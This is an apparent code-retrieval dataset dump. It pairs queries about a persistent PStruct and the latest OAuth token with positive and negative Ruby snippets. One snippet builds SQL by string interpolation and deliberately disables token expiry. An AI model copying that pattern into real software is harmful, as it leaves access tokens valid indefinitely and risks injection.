query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
fffd331e57f6e6935170996f647f14bc
Create a new PStruct with persistance +file+. The optional +hash+ will be passed on to the OpenStruct initializer.
[ { "docid": "858448c997f86f1011a21c749c62ee19", "score": "0.6386989", "text": "def initialize(file, hash = nil)\n @file = file\n super(hash)\n end", "title": "" } ]
[ { "docid": "d6f33ca8ec4334eddc3996a0a74814d9", "score": "0.61966383", "text": "def initialize(hash=nil)\n @store = Storage.new( symbol_hash(hash || {}) )\n @inner_hash = @store.octothorpe_store\n end", "title": "" }, { "docid": "1cd751395ee038dec268acefddec5345", "score": "0.61081773", "text": "def initialize(file, master_password)\n @backend = PStore.new(file, true)\n @backend.ultra_safe = true\n @master_password = master_password\n end", "title": "" }, { "docid": "82e4ecb0b9b604538b5a969276204cf3", "score": "0.6089005", "text": "def initialize_update\n @file = File.new(filename, 'rb+')\n pos = @file.pos = @file.read(POINTER_SIZE).unpack1(UNPACK_METHOD)\n @hash = Marshal.load(@file)\n @file.pos = pos\n end", "title": "" }, { "docid": "f3bffd99e794fdd24d2b9202a466eba6", "score": "0.5996011", "text": "def initialize_write\n @file = File.new(filename, 'wb')\n @file.pos = POINTER_SIZE\n @hash = {}\n end", "title": "" }, { "docid": "7d63a7b603a6caf8cad1ba1f7cb16b84", "score": "0.59278077", "text": "def create_with(hash)\n obj = nil\n arity = self.method(:initialize).arity\n\n if arity > 0 || arity < -1\n obj = self.allocate\n else\n obj = self.new\n end\n\n obj.instance_assign(hash)\n\n ogmanager.with_store do |s|\n s.save(obj)\n end\n\n return obj\n end", "title": "" }, { "docid": "c94186a5430c7eb92f461fe3753e88c9", "score": "0.5919478", "text": "def new_physical_file(file)\n @files[file] = PhysicalFile.new(file, destroy_empty: true)\n @files[file].file_collection = self\n @files[file]\n end", "title": "" }, { "docid": "b548d2a3287cd5b22ee765da94f1468f", "score": "0.58966786", "text": "def initialize(hash)\n @ostruct = hash.to_ostruct\n end", "title": "" }, { "docid": "343206b792be705a1dd4cf211284f4b9", "score": "0.58929807", "text": "def new_physical_file(file)\n @files[file] = PhysicalFile.new(file)\n @files[file].file_collection = self\n @files[file]\n end", "title": "" }, { "docid": "cb8054163030ffd9287d7bbd97f2d9b0", "score": "0.5835337", "text": "def initialize(filename)\n require 'pstore'\n\n @filename = filename\n end", "title": "" }, { "docid": "631d5266c4f9b3db671a6bd935d27611", "score": "0.5818969", "text": "def initialize (hash = nil)\n @struct = Hash.new\n @struct = hash if hash.is_a? Hash\n end", "title": "" }, { "docid": "2508b51aaeb738714ea35951e283f7db", "score": "0.5805134", "text": "def initialize(filestructur)\n @pfs = filestructur\n end", "title": "" }, { "docid": "d7e9a1baf7b83063b7c6892f4337e40f", "score": "0.5797878", "text": "def initialize(persistent_file = MemoryMetaManager::FILE, logger = StdoutLogger)\n\t\t @logger = logger\n\t\t\t@data = Hash.new\n\t\t\t@removed = Hash.new\n\t\t\t@file = (persistent_file.nil? or persistent_file == '') ? MemoryMetaManager::FILE : persistent_file\n\t\t\t\n\t\t\tbegin\n\t\t\t\tif File.exists?(@file)\n\t\t\t\t\t@logger.info \"loading meta yaml from #{@file}\"\n\t\t\t\t\t@mm = YAML.load_file(@file) if File.exists?(@file)\n\t\t\t\t\t@logger.info \"Loaded meta yaml: #{@mm}\"\n\t\t\t\t\t@data = @mm[:current]\n\t\t\t\t\t@removed = @mm[:removed]\n\t\t\t\telse\n\t\t\t\t\t@logger.info \"Creating new meta store in #{@file}\"\n\t\t\t\tend\n\t\t\trescue Exception => e\n\t\t\t\traise FileStoreException, \"Couldn't load meta data from file #{@file}.\\nCause: #{e}\"\t\t\t\t\n\t\t\tend\n\t\t\t\t\n\t\tend", "title": "" }, { "docid": "b8eeca9fbe13b3ae513615ae652755fb", "score": "0.57925606", "text": "def initialize(file)\n @file = file\n @fields = InsensitiveHash.new\n @spec = { mandatory: %w[],\n relationship: %w[],\n multiline: %w[md5sum sha1 sha256 sha512] }\n @spec[:foldable] = %w[] + @spec[:relationship]\n end", "title": "" }, { "docid": "63e224b1d3e19e59d9002c5d5f945c67", "score": "0.578028", "text": "def load hash # :nodoc:\n new.tap do |file|\n for attribute in serialized_attributes\n file.send \"#{attribute}=\", hash[attribute]\n end\n end\n end", "title": "" }, { "docid": "cc095cd07bc9c3fb40b51f67198c9344", "score": "0.57721305", "text": "def initialize(hash_or_file = self.class.source)\n case hash_or_file\n when Hash\n self.update hash_or_file\n else\n hash = YAML.load(ERB.new(File.read(hash_or_file)).result).to_hash\n hash = hash[self.class.namespace] if self.class.namespace\n self.update hash\n end\n end", "title": "" }, { "docid": "568df1f0a4eb21184b9039c2b7a6aa87", "score": "0.5750776", "text": "def pstore\n # PStore#new's second parameter enables thread safety (though perhaps\n # this is overkill?)\n @pstore ||= PStore.new store_file, true\n end", "title": "" }, { "docid": "9d2fbaf59b434ce9a278dceeca93a9e0", "score": "0.5738727", "text": "def create(hash); end", "title": "" }, { "docid": "3fb2b43e79d312b054fa38b1a32a1a4c", "score": "0.5733381", "text": "def initialize(params = nil)\n if !params.nil?\n if params[:_id] #hash came from GridFS\n @id = params[:_id].to_s\n @location = params[:metadata].nil? ? nil : Point.new(params[:metadata][:location])\n @place = params[:metadata][:place] if !params[:metadata][:place].nil?\n else #assume hash came from Rails\n @id = params[:id]\n @location = Point.new(params[:location]) if !params[:location].nil?\n @place = params[:place] if !params[:place].nil?\n end\n @chunkSize = params[:chunkSize] if !params[:chunkSize].nil?\n @uploadDate = params[:uploadDate] if !params[:uploadDate].nil?\n @contentType = params[:contentType] if !params[:contentType].nil?\n @filename = params[:filename] if !params[:filename].nil?\n @length = params[:length] if !params[:length].nil?\n @md5 = params[:md5] if !params[:md5].nil?\n @contents = params[:contents] if !params[:contents].nil?\n end\n end", "title": "" }, { "docid": "6193d1fd7983a90cbbb27c6249bac981", "score": "0.56249225", "text": "def record_hash(filename, hash)\n # Intentionally left blank.\n end", "title": "" }, { "docid": "0b3e9a564cb0b792f239679a7e7a30cf", "score": "0.55169684", "text": "def initialize(file, path = nil)\n if exists file then\n @file = file\n @data = Hash.new\n @base = File.expand_path File.dirname __FILE__\n\n @path = path unless path == @base\n @path ||= locate base\n @dir = \"#{@path}/#{file}.json\"\n\n if not File.exists? \"#{@dir}\" then create end\n end\n end", "title": "" }, { "docid": "2f3a3c25cde19a0e87d078af92ffd9a0", "score": "0.550527", "text": "def initialize(file)\n @file = file\n @fields = InsensitiveHash.new\n end", "title": "" }, { "docid": "3400bdfb07f87857afaac35f048f8c28", "score": "0.5497417", "text": "def init_with_hash_id(hash_id)\n raise IllegalStateError, \"already initialized\" if @id\n @id = hash_id\n prepare_file_names\n load_attributes_from_file\n # attrs are already in the file so we need not to save them\n end", "title": "" }, { "docid": "b5ba92945cc28a7371bfd85fbc01e30e", "score": "0.5494441", "text": "def initialize(hash=nil)\n @table = {}\n if hash\n hash.each_pair do |k, v|\n k = k.to_sym\n @table[k] = v\n new_ostruct_member(k)\n end\n end\n end", "title": "" }, { "docid": "da4c10ecf545febdf8eded80a7b239f0", "score": "0.5487912", "text": "def initialize(options={})\t\n @hash = Hash.new\n open_file options\n parse_file\n end", "title": "" }, { "docid": "b801467e660aca245f77691b3d5d4281", "score": "0.54752994", "text": "def initialize(file)\n @users = {}\n @hash_val = {}\n @error_code = 0\n @file = file\n end", "title": "" }, { "docid": "2960729b8c893f22eefca5c103738b88", "score": "0.54717624", "text": "def initialize(file_path)\n @file_path = file_path\n @hash = load\n end", "title": "" }, { "docid": "189e62c1abd3d4cadf9937ff8ee1497f", "score": "0.54688776", "text": "def initialize\n self.db = YAML::Store.new(DB_FILE)\n\n hash = db.transaction { db.fetch(:l, nil) }\n\n if hash\n self.hash = hash\n else\n genesis = build_genesis_block\n append_block(genesis)\n end\n end", "title": "" }, { "docid": "5771666825406641bf9de04897d3953e", "score": "0.54593515", "text": "def new(file, mode = \"r\", protection = Mmap::MAP_SHARED, options = {})\n end", "title": "" }, { "docid": "0a8072003e4d2df2513a87a825ed92e6", "score": "0.54286677", "text": "def initialize(name:, path:, created_at:, updated_at:, hash:, mime_type:, size:)\n super(\n name: name,\n path: path,\n type: 'file',\n created_at: created_at,\n updated_at: updated_at\n )\n @hash = hash\n @mime_type = mime_type\n @size = size\n end", "title": "" }, { "docid": "60d46932671971c4a308a80f9d79577c", "score": "0.5390745", "text": "def create(file = @file)\n out = @record.dup\n if shadowhashdata = out['ShadowHashData']\n out['ShadowHashData'] = [CFPropertyList::Blob.new(shadowhashdata.first)]\n end\n plist = CFPropertyList::List.new\n plist.value = CFPropertyList.guess(out)\n plist.save(file, CFPropertyList::List::FORMAT_BINARY)\n FileUtils.chmod(0600, file)\n end", "title": "" }, { "docid": "08a7cf618d9cedeaf0e363def00c352d", "score": "0.53796244", "text": "def initialize(path, hash)\n @path = path\n @name = path.split('/').last.gsub('.yml','').to_sym\n @data = hash[name.to_s]\n @dirty = false\n end", "title": "" }, { "docid": "948022ab5a7718b070f1d2df1dbb3338", "score": "0.5357279", "text": "def file_hash=(value)\n @file_hash = value\n end", "title": "" }, { "docid": "ee715cfc0434ad9bccda0140a3d9dc4c", "score": "0.5355208", "text": "def initialize(h)\n @attributes = h\n h.each do |k,v|\n next unless respond_to?(\"#{k}=\")\n vv = v\n if v.is_a? Hash\n vv = OpenStruct.new v\n end\n send(\"#{k}=\",vv)\n end\n end", "title": "" }, { "docid": "3eb9348162d2e9467c64d5212689d01f", "score": "0.5353686", "text": "def initialize(file, l)\n super(8*32, 6*32)\n create(file, l)\n end", "title": "" }, { "docid": "17ac89acb8492f36ac4c685001da36c1", "score": "0.53531015", "text": "def initialize_config_file\n @config = HashWithIndifferentAccess.new\n write_config_file\n end", "title": "" }, { "docid": "a32863c04dc64e78f08e6618cecacae4", "score": "0.53524727", "text": "def create!( hash )\n doc = new( hash )\n doc.save!\n end", "title": "" }, { "docid": "a32863c04dc64e78f08e6618cecacae4", "score": "0.53524727", "text": "def create!( hash )\n doc = new( hash )\n doc.save!\n end", "title": "" }, { "docid": "f383c7b25e1892d3a9b9ce2f220747d9", "score": "0.5319469", "text": "def initialize(file_name=nil)\n # Mutex can be used to coordinate access to shared data from multiple concurrent threads.\n @mutex = Mutex.new\n file_name = file_name.nil? ? \"default_storage\" : file_name\n # Locate the system root path\n file_path = File.expand_path(file_name)\n dir_name = File.dirname(file_path)\n # Raise an error when the directory doesn't exist in the system.\n raise DataStore::Error, \"Directory #{dir_name} does not exist\" unless File.directory? dir_name\n # Raise an error when the given file is not readable or writable.\n if File.exist?(file_path) && !(File.readable?(file_path) && File.writable?(file_path))\n raise DataStore::Error, \"File #{file_name} not readable/writable\" \n end\n # Open a file if file already exist or create a new file with read and write mode.\n @file = File.open(file_path, 'a+')\n @file_path = file_path\n # Read the contents of a file.eval is used to convert the content as hash.\n file_content = @file.read\n @content = eval(file_content.gsub(':', '=>'))\n # Assign empty hash when the file is empty.\n @content={} if @content.nil?\n end", "title": "" }, { "docid": "7a7ddb32347a74e97164f2b83d595cbe", "score": "0.531767", "text": "def store\n @file_db ||= PStore.new('data/ot_list.pstore')\n end", "title": "" }, { "docid": "c9a56d7a15695df19600c8a62e82ebc5", "score": "0.53030276", "text": "def new(file, master_password, options = {})\n if File.exists?(file) && !options[:force] # don't allow accedidential override of existing file\n raise FileAlreadyExistsError.new(file)\n else\n password_policy.validate!(master_password)\n locker = load(file, master_password)\n locker.reset!\n end\n\n locker\n end", "title": "" }, { "docid": "c8679171ba6d972a7ffb0750c929fd1b", "score": "0.52933174", "text": "def initialize_read\n @file = File.new(filename, 'rb')\n pos = @file.pos = @file.read(POINTER_SIZE).unpack1(UNPACK_METHOD)\n @hash = Marshal.load(@file)\n load_whole_file(pos) if pos < MAX_SIZE\n rescue Errno::ENOENT\n @file = nil\n @hash = {}\n log_error(format('%<filename>s not found', filename: filename)) if DEBUG_ON\n end", "title": "" }, { "docid": "7584f315c4c5a6130d71d50a103fce23", "score": "0.5282833", "text": "def hash2properties_file(_hash=nil, _file=nil)\n if _hash && _file && FileTest.writable?(File.dirname(_file))\n f = File.new(_file, \"w\")\n begin\n if f\n _hash.keys.sort.each{|key|\n f.syswrite(\"#{key}=#{_hash[key]}\\n\")\n }\n end\n ensure\n f.close unless f.nil?\n end\n end\n end", "title": "" }, { "docid": "e81ec4ad2648c5ea7098f0f8f3112ba9", "score": "0.52768594", "text": "def initialize(opts={})\n blob = opts[:data]\n filename = opts[:file]\n\n plist = CFPropertyList::List.new(:file => filename) unless filename.nil? or !File.exists?(filename)\n plist = CFPropertyList::List.new(:data => blob) unless blob.nil? or blob.length < 1\n\n if !plist.nil?\n data = CFPropertyList.native_types(plist.value)\n\n @archiver = data['$archiver']\n @objects = data['$objects']\n @top = data['$top']\n @version = data['$version']\n else\n raise \"Plist not created\"\n end\n end", "title": "" }, { "docid": "695a77777132697f4127d9a8bf0cd622", "score": "0.5266799", "text": "def initialize(file_or_hash, extended = {})\n @options = file_or_hash.kind_of?(Hash) ? file_or_hash : load_file(file_or_hash)\n @options.merge!(extended)\n @options[:pid_file] ||= File.join(ROOT,'updater.pid')\n @options[:host] ||= \"localhost\"\n @logger = @options[:logger] || Logger.new(@options[:log_file] || STDOUT)\n level = Logger::SEV_LABEL.index(@options[:log_level].upcase) if @options[:log_level]\n @logger.level = level || Logger::WARN unless @options[:logger] #only set this if we were not handed a logger\n @logger.debug \"Debugging output enabled\" unless @options[:logger]\n Update.logger = @logger\n end", "title": "" }, { "docid": "08dc06c4aa2ea8ee97d4356c22323c36", "score": "0.5265783", "text": "def create_parameter_file_hash\n parameter_file = load_parameter_file\n parameter_file.stats_hash\n end", "title": "" }, { "docid": "4c276977477a3744f9121a8185326180", "score": "0.526335", "text": "def initialize file #:nodoc:\n @bucket = file.bucket\n @file = file.name\n @connection = file.connection\n @owners = nil\n @writers = nil\n @readers = nil\n end", "title": "" }, { "docid": "cbb4682097fbcb602c845546186e389e", "score": "0.52530557", "text": "def initialize(file='asf',auth_path=nil)\n # TODO - should this read the Git repo directly?\n # Probably not: this file is read frequently so would need to be cached anyway\n # The Git clone is updated every 10 minutes which should be sufficiently recent\n if auth_path\n require 'wunderbar'\n Wunderbar.warn \"Overriding Git infrastructure-puppet auth path as: #{auth_path}\"\n @auth = auth_path\n else\n auth = ASF::Git.find('infrastructure-puppet')\n if auth\n @auth = auth + '/modules/subversion_server/files/authorization'\n else\n # SVN copy is no longer in use - see INFRA-11452\n raise Exception.new(\"Cannot find Git: infrastructure-puppet\")\n end\n end\n @file = file\n end", "title": "" }, { "docid": "f20caf38b2fc67e0080f367211d35824", "score": "0.52527463", "text": "def persistent_struct\n if @persistent_struct\n @persistent_struct\n elsif @persistent_struct == false\n nil\n elsif path = dotfile_path_first_that_exists\n @persistent_struct = JSON.parse(File.read(path))\n else\n @persistent_struct = false\n end\n end", "title": "" }, { "docid": "d48523a6d41c9a3dc7657a811d5cc9b8", "score": "0.5252621", "text": "def create(filename,serialized_tree)\n\n end", "title": "" }, { "docid": "5d2b43e6a1b1841fb2ab9f80ee2395f4", "score": "0.52502674", "text": "def file_path\n return @file_path if defined? @file_path\n @file_path = Pathname.new(\"#{CONF[:db_dir]}/#{@info_hash.unpack('H*').first}.pstore\")\n @file_path.dirname.mkpath\n @file_path\n end", "title": "" }, { "docid": "019b0ee562497a2c9447729fc5377134", "score": "0.5246119", "text": "def init_hash_storable! fields, &read_field\n if fields.is_a? Array\n value, @version = fields[0], fields[1].to_i\n else\n value, @version = fields, 0\n end\n if value.respond_to? :unpack\n self.load! value\n elsif value.respond_to? :each\n self.from_hash! value\n else\n raise \"HashStorableMeta: invalid field #{HashStorableMeta::DEFAULT_FIELD}: #{value.inspect}\"\n end\n\n @_read_field = read_field\n\n self\n end", "title": "" }, { "docid": "71cd6571b5241b64da89af4902308701", "score": "0.52372915", "text": "def initialize name\n @name = name\n\n if file_exists?\n begin\n yaml_data = YAML::load_file(file)\n raise RuntimeError, \"YAML file mis-formatted - not a hash\" unless yaml_data.is_a? Hash\n @data = yaml_data\n rescue\n raise $! if Cache::behaviour_on_corrupt_file == :error\n end\n end\n \n @data ||= {}\n end", "title": "" }, { "docid": "e373c6ff3a23361b954c6b5d62d9df82", "score": "0.5213359", "text": "def initialize(file)\n @file = file\n @tags, @attributes, @values = {}, {}, {}\n create_dictionary\n end", "title": "" }, { "docid": "8e59d39bfbb5c14a4bb7d6fa1cd6a5ce", "score": "0.52110314", "text": "def structure(hash_ = nil, **hash__)\n hash_ = hash__ if hash_.nil?\n _hash_to_object(hash_, newObject('Structure'))\n end", "title": "" }, { "docid": "c672608596e1225883b0c17992bf3e2c", "score": "0.5205277", "text": "def initialize(filename)\n @db = SQLite3::Database.new(filename)\n @db.results_as_hash = true\n end", "title": "" }, { "docid": "f8495607d15cd07aee5b4a1d569a47cb", "score": "0.5204093", "text": "def initialize( file_name )\n @file_name = file_name\n @factory = V3::DAOFactory.new()\n @serialized = false\n end", "title": "" }, { "docid": "d9210d7c1788cca764da5f2c01936382", "score": "0.5202404", "text": "def initialize(hash = {})\n load_hash(hash)\n end", "title": "" }, { "docid": "f33efd7576dc7c26002533ea6aff0fd5", "score": "0.5201481", "text": "def create\n Puppet.debug \"Editfile::Yaml: Creating hash #{pretty_value} on key #{pretty_key}.\"\n eval( \"read_file.#{key} = #{pretty_value}\")\n myflush\n end", "title": "" }, { "docid": "d70bddff72d9787a1ac2cb70e41d4f5d", "score": "0.5195913", "text": "def initialize(hash = nil)\n end", "title": "" }, { "docid": "e8976d3f09bfbc0d5c7c204f1839b570", "score": "0.51949", "text": "def initialize(file='asf', auth_path=nil)\n raise ArgumentError(\"Invalid file: #{file}\") unless %w(asf pit).include? file\n if auth_path\n require 'wunderbar'\n Wunderbar.warn \"Overriding Git infrastructure-puppet auth path as: #{auth_path}\"\n @auth = auth_path\n else\n @auth = PUPPET_PATH\n end\n @file = file\n end", "title": "" }, { "docid": "343c8d58797443041309aa961eabc64f", "score": "0.5192262", "text": "def initialize( file_path = nil )\n @initial_config_file = file_path || File.expand_path( \"../../../config/pomodori.yml\", __FILE__)\n @configuration = Pomodori::Configuration.new\n\n @configuration.read_config initial_config_file\n @configuration.set_environment\n\n @database = Pomodori::Database.new( { configuration: configuration } )\n end", "title": "" }, { "docid": "9feff5592775840e8bbab168845026b2", "score": "0.5189916", "text": "def from_hash( hash )\n new.set( hash )\n end", "title": "" }, { "docid": "d64b0d81bffabd1b2998b105001734d1", "score": "0.51837975", "text": "def new(file_id, *args) # rubocop:disable AbcSize\n if file_id.respond_to?(:to_int)\n fs_obj = VfsRealIO.new(file_id, *args)\n else\n parsed_args = FileModesAndOptions.new(*args)\n fs, p = VirtFS.path_lookup(file_id, false, false)\n fs_obj = VirtFS.fs_call(fs) { file_new(p, parsed_args, file_id, VDir.getwd) }\n end\n\n obj = allocate\n if fs.thin_interface?\n obj.send(:initialize, ThinFileDelegator.new(fs_obj, file_id, p, parsed_args), file_id)\n else\n obj.send(:initialize, fs_obj, file_id)\n end\n\n # fs_mod_obj always points to the fs module's file object\n # for use by fs-specific extension modules\n obj.fs_mod_obj = fs_obj\n obj.extend(fs_obj.extension_module) if fs_obj.respond_to?(:extension_module) # fs-specific extension module\n obj\n end", "title": "" }, { "docid": "19fc6d45916d96b8cad2b820314d272d", "score": "0.5181038", "text": "def initialize(hash)\n load_hash(hash)\n end", "title": "" }, { "docid": "19fc6d45916d96b8cad2b820314d272d", "score": "0.5181038", "text": "def initialize(hash)\n load_hash(hash)\n end", "title": "" }, { "docid": "19fc6d45916d96b8cad2b820314d272d", "score": "0.5181038", "text": "def initialize(hash)\n load_hash(hash)\n end", "title": "" }, { "docid": "81464fe933478719524625f4296a1963", "score": "0.51731825", "text": "def initialize file_path\n @db_pool = {}\n @ssh_pool = {}\n @file = Psych.load_file(file_path)\n end", "title": "" }, { "docid": "3a6fd6eb91a0fcdd8501fc5f17bc161e", "score": "0.51720965", "text": "def initialize(filename, options = {})\n @options = {:in_memory => true, :accessors => true}.merge(options)\n \n @in_memory = @options[:in_memory]\n @accessors = @options[:accessors]\n @data = File.open(filename, 'rb')\n @memo = open_memo(filename)\n reload!\n end", "title": "" }, { "docid": "66ded43c53ae22baf68e68c2a70f120f", "score": "0.5170235", "text": "def create(filename,serialized_tree)\n @bucket.objects[filename].write(serialized_tree)\n end", "title": "" }, { "docid": "65dff1f1d61a989af2d17ec62a30f13d", "score": "0.51689357", "text": "def initialize(key,hash)\n @key = key\n @value = hash\n self.put(key,hash)\n end", "title": "" }, { "docid": "1a53ad82b9a125400ed7dde25ae02498", "score": "0.5164872", "text": "def initialize(p, default = nil, &block)\n super(p)\n _check_assignment_value(default)\n if block_given?\n @data = ::Hash.new(&block)\n else\n @data = ::Hash.new(default)\n end\n\n # Ensure that the newly created object will be pushed into the database.\n @store.cache.cache_write(self)\n end", "title": "" }, { "docid": "1b5c27538841a18c18c9251ee353d906", "score": "0.5161657", "text": "def initialize( hash=nil )\n\t\t\thash ||= {}\n\t\t\t@hash = symbolify_keys( hash )\n\t\t\t@dirty = false\n\t\tend", "title": "" }, { "docid": "409075612d4d6a7dd6e5ae90e91ebeb2", "score": "0.5160387", "text": "def initialize(dbfile, partition)\n unless @database\n @dbpath = dbfile\n @database = SQLite3.new(dbfile,partition)\n end\n end", "title": "" }, { "docid": "8f9c7e0f774ce0838ca6f184c72b763c", "score": "0.5151311", "text": "def import_hash hash=nil\n case hash\n when Plist4r::OrderedHash\n @hash = hash\n when nil\n @hash = ::Plist4r::OrderedHash.new\n else\n raise \"Please use Plist4r::OrderedHash.new for your hashes\"\n end\n end", "title": "" }, { "docid": "db9aa89b2fe6fcdfebb7479ba39487c4", "score": "0.5150944", "text": "def sample_blob\n OpenStruct.new(\n oid: '5f53439ca4b009096571d3c8bc3d09d30e7431b3',\n path: \"files/js/commit.js.coffee\",\n data: <<eos\nclass Commit\n constructor: ->\n $('.files .diff-file').each ->\n new CommitFile(this)\n\n@Commit = Commit\neos\n )\n end", "title": "" }, { "docid": "6d870943866838209b1cf6d45e374d79", "score": "0.5148526", "text": "def initialize(passwd, file, marshal = true)\n @file = File.expand_path(file)\n @marshal = marshal\n if File.exists? @file\n init_with_file(passwd)\n else\n first_time_init(passwd)\n end\n end", "title": "" }, { "docid": "58bb948f93033741efaab0abac2f5196", "score": "0.51435965", "text": "def initialize(file_path = nil, storage_name = nil)\n self.file_path = file_path\n self.storage_name = storage_name\n end", "title": "" }, { "docid": "f381192b0791db5f57a22f3a037e2389", "score": "0.51435393", "text": "def initialize(file)\n @file = file\n arch = self.class.name.split('::').last.downcase.to_sym\n @objdump = Objdump.new(file, arch)\n @objdump.extra_options = objdump_options\n end", "title": "" }, { "docid": "0105ad21034c2aa19bd4f63ac2eb6bbd", "score": "0.5143267", "text": "def initialize(hash)\n super nil\n hash ||= {}\n bad_file(hash.class) unless hash.is_a? Hash\n merge! hash.symbolize_keys\n check_types\n end", "title": "" }, { "docid": "6cb953bd0ffac287e7839e8fbc3ae088", "score": "0.5134978", "text": "def initialize(file, opts = {}, &block)\n opts = {\n serializer: opts.fetch(:serializer, Serializer::Default),\n format: opts.fetch(:format, Format),\n default: opts.fetch(:default, nil)\n }\n @format = (opts[:format]).new\n @serializer = (opts[:serializer]).new\n @table = Hash.new(&method(:hash_default))\n @journal = Journal.new(file, @format, @serializer) do |record|\n if !record\n @table.clear\n elsif record.size == 1\n @table.delete(record.first)\n else\n @table[record.first] = @serializer.load(record.last)\n end\n end\n\n @default = block ? block : opts[:default]\n @mutex = Mutex.new\n @@stashs_mutex.synchronize { @@stashs << self }\n end", "title": "" }, { "docid": "acf39d9251b634a453b15b2a865e6fba", "score": "0.51313645", "text": "def initialize(password:, file:)\n @password = password\n @file = file\n end", "title": "" }, { "docid": "28e854cafe1b19c3f2a5a903c46b177e", "score": "0.5130827", "text": "def initialize(file_path = nil, storage_name = nil, format = nil)\n self.file_path = file_path\n self.storage_name = storage_name\n self.format = format\n end", "title": "" }, { "docid": "4a3e3783a8dd8989a34a669b578bafb7", "score": "0.5122217", "text": "def store file, header = nil\n PropFile.write(file, self, header)\n end", "title": "" }, { "docid": "5780b2e991a6ce912867c97e23a9e08a", "score": "0.51220477", "text": "def build_ref_hash file, hash = Hash.new\n f = File.new(file)\n ead = Rockhall::Ead::Document.from_xml(Nokogiri::XML(f)).eadid.first\n Artk::Resource.find_by_ead_id(ead).all_series.collect { |c| hash[c.persistentId] = c.id }\n self.ref_hash = hash\n end", "title": "" }, { "docid": "eb45588a801451c020964502d3ef2854", "score": "0.5110854", "text": "def build_entry(hash)\n FileOrDirectory.new(hash[\"name\"], hash[\"id\"], hash[\"content_type\"])\n end", "title": "" }, { "docid": "38ba430529afd90bcf3ae705dbb4b2b8", "score": "0.5105062", "text": "def load\n OpenStruct.new merge_config_files\n end", "title": "" }, { "docid": "7688d8e15c88851a4b83ad67cb7fd2df", "score": "0.5104238", "text": "def initialize(file, options = {}, &block)\n @serializer = (options[:serializer] || Serializer::Default).new\n @table = Hash.new(&method(:hash_default))\n @journal = Journal.new(file, (options[:format] || Format).new, @serializer) do |record|\n if !record\n @table.clear\n elsif record.size == 1\n @table.delete(record.first)\n else\n @table[record.first] = @serializer.load(record.last)\n end\n end\n @default = block ? block : options[:default]\n @mutex = Mutex.new # Mutex used by #synchronize and #lock\n @@databases_mutex.synchronize { @@databases << self }\n end", "title": "" }, { "docid": "d83b856301dab505e0034485f3e128f5", "score": "0.5097536", "text": "def initialize(filename, highway_attributes)\n\t\t@filename = filename\n\t\t@highway_attributes = highway_attributes\n\tend", "title": "" }, { "docid": "b4d4c688a71eb0216eecbc424f35ce40", "score": "0.5093602", "text": "def initialize(filename, highway_attributes)\n @filename = filename\n @highway_attributes = highway_attributes\n end", "title": "" }, { "docid": "d9ce36a6260edc9161522adac4ebe34c", "score": "0.5092762", "text": "def initialize(file)\n @file = file\n\n File.open(file, 'r') do |file|\n data,@body = file.read.split(/\\n\\n/, 2)\n\n @meta = {}\n YAML::load(data).each do |key, val|\n @meta[key.to_sym] = val\n end\n end\n end", "title": "" }, { "docid": "2d47250332e52da8f71b71287dfe0aef", "score": "0.50911415", "text": "def initialize(file)\n @file = file\n end", "title": "" }, { "docid": "2d47250332e52da8f71b71287dfe0aef", "score": "0.50911415", "text": "def initialize(file)\n @file = file\n end", "title": "" }, { "docid": "a9034bd31b24cd6bd79e221ad4936afc", "score": "0.5089307", "text": "def initialize(databasefile=nil, user=Process.euid, group=Process.egid, mode=0600)\n\t\t\t\t@mode = mode\n\t\t\t\t@user = user\n\t\t\t\t@group = group\n\n\t\t\t\t# convert mode to internal representation\n\t\t\t\tmodefile = Tempfile.new('checksum')\n\t\t\t\tmodefilepath = modefile.path\n\t\t\t\tmodefile.close(true)\n\t\t\t\tCfruby::FileOps.create(modefilepath, Process.euid, Process.egid, mode)\n\t\t\t\t@statmode = File.stat(modefilepath).mode\n\t\t\t\tCfruby::FileOps.delete(modefilepath)\n\n\t\t\t\t@database = Hash.new()\n\t\t\t\t\n\t\t\t\tif(databasefile != nil)\n\t\t\t\t\tself.databasefile=(databasefile)\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "2fabc78718e9cb88209fd03cb9a69ba5", "score": "0.5087176", "text": "def initialize(hash) @hash = hash end", "title": "" }, { "docid": "6f1c97cbdf37d6ac331df0c2026cd155", "score": "0.508122", "text": "def initialize(descriptorFile)\n\n @XMLDoc = XMLDocumentHash.new\n if descriptorFile.is_a? Hash\n @FormDescriptor = descriptorFile\n elsif descriptorFile.is_a? String\n @FormDescriptor = @xmlDoc.createHashtableFromFile(descriptorFile)\n if @FormDescriptor == nil\n raise FileNotFound.new(\"File not found : #{descriptorFile}\")\n end\n end\n end", "title": "" }, { "docid": "d8148487c09f1f7d69d1b5dd908fb23b", "score": "0.5079682", "text": "def initialize(f=nil, opts={})\n @filename = f\n return self\n end", "title": "" }, { "docid": "d8148487c09f1f7d69d1b5dd908fb23b", "score": "0.5079682", "text": "def initialize(f=nil, opts={})\n @filename = f\n return self\n end", "title": "" }, { "docid": "82c24fc37105af788a689d193b413fdc", "score": "0.50733566", "text": "def initialize(fpath=nil)\n @filepath = (fpath.nil? || fpath.empty?) ? \"id_rsa\" : fpath\n end", "title": "" }, { "docid": "82c24fc37105af788a689d193b413fdc", "score": "0.50733566", "text": "def initialize(fpath=nil)\n @filepath = (fpath.nil? || fpath.empty?) ? \"id_rsa\" : fpath\n end", "title": "" }, { "docid": "1517e55e35b3ad069a7d5792ffd48095", "score": "0.5073356", "text": "def initialize( heap: nil, db: nil )\n if heap.nil? && db.nil?\n raise ArgumentError, \"either a `heap` filename or a `db` filename must be given\"\n end\n\n @heap_filename = heap\n @db_filename = db\n\n if up_to_date?\n load_object_store\n else\n load_object_store(force: true)\n end\n end", "title": "" } ]
4d765c0cbda938e8e1b14beb2989c72e
REQUIRES doorkeeper gem returns the latest unexpired token or nil
[ { "docid": "4c2dc4f5b563b2d24cbfe5a70a7cca62", "score": "0.6643858", "text": "def oauth_token\n sql = \"SELECT * FROM oauth_access_tokens WHERE resource_owner_id= #{self.id} ORDER BY created_at DESC LIMIT 1\"\n #not that ineffecient as there will only ever be 1 row\n ActiveRecord::Base.connection.execute(sql).each(:as => :hash) do |temp_row|\n @row = temp_row.with_indifferent_access\n end\n\n if @row.blank?\n nil\n else\n #note from rob: radi, lead dev of photospark iphone app asked for tokens to never expire. rubs me the wrong way but whatever\n @row[:token]# if @row[:created_at]+@row[:expires_in] >= Time.now\n end\n end", "title": "" } ]
